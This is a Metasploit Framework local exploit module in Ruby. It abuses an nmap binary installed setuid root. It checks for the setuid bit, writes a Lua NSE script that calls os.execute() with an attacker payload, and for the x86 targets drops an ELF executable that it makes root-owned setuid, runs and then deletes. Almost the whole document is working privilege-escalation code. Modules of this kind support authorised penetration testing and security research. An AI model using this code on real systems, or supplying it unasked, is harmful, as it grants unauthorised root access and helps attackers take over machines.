Nmap's man page mentions that "Nmap should never be installed with special privileges (e.g. suid root) for security reasons.." and specifically avoids making any of its binaries setuid during installation. Nevertheless, administrators sometimes feel the need to do insecure things. This Metasploit module abuses a setuid nmap binary by writing out a lua nse script containing a call to os.execute(). Note that modern interpreters will refuse to run scripts on the command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby} payloads will most likely not work.
36e5626623975013ad17de674718bb242f7551a7c65755515d9aab44a7aa57ea
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Common
def initialize(info={})
super( update_info( info, {
'Name' => 'setuid nmap "exploit"',
'Description' => %q{
Nmap's man page mentions that "Nmap should never be installed with
special privileges (e.g. suid root) for security reasons.." and
specifically avoids making any of its binaries setuid during
installation. Nevertheless, administrators sometimes feel the need
to do insecure things. This module abuses a setuid nmap binary by
writing out a lua nse script containing a call to os.execute().
Note that modern interpreters will refuse to run scripts on the
command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby}
payloads will most likely not work.
},
'License' => MSF_LICENSE,
'Author' => [ 'egypt' ],
'Platform' => [ 'unix', 'linux', 'bsd' ],
'Arch' => [ ARCH_CMD, ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Command payload', { 'Arch' => ARCH_CMD } ],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'BSD x86', { 'Arch' => ARCH_X86 } ],
],
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
'DefaultTarget' => 0,
}
))
register_options([
# These are not OptPath becuase it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("Nmap", [ true, "Path to setuid nmap executable", "/usr/bin/nmap" ]),
], self.class)
end
def check
stat = session.fs.file.stat(datastore["Nmap"])
if stat and stat.file? and stat.setuid?
print_good("#{stat.prettymode} #{datastore["Nmap"]}")
return CheckCode::Vulnerable
end
return CheckCode::Safe
end
def exploit
if (target.arch.include? ARCH_CMD)
p = payload.encoded.gsub(/([$"])/) {|m| "\\#{$1}" }
evil_lua = %Q{ os.execute("#{p} &") }
else
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.elf"
print_status("Dropping executable #{exe_file}")
write_file(exe_file, generate_payload_exe)
evil_lua = %Q{
os.execute("chown root:root #{exe_file}");
os.execute("chmod 6777 #{exe_file}");
os.execute("#{exe_file} &");
os.execute("rm #{exe_file}");
}
end
lua_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.nse"
print_status("Dropping lua #{lua_file}")
write_file(lua_file, evil_lua)
print_status("running")
begin
cmd_exec "#{datastore["Nmap"]} --script #{lua_file}"
ensure
cmd_exec "rm -f #{lua_file} #{exe_file}"
end
end
end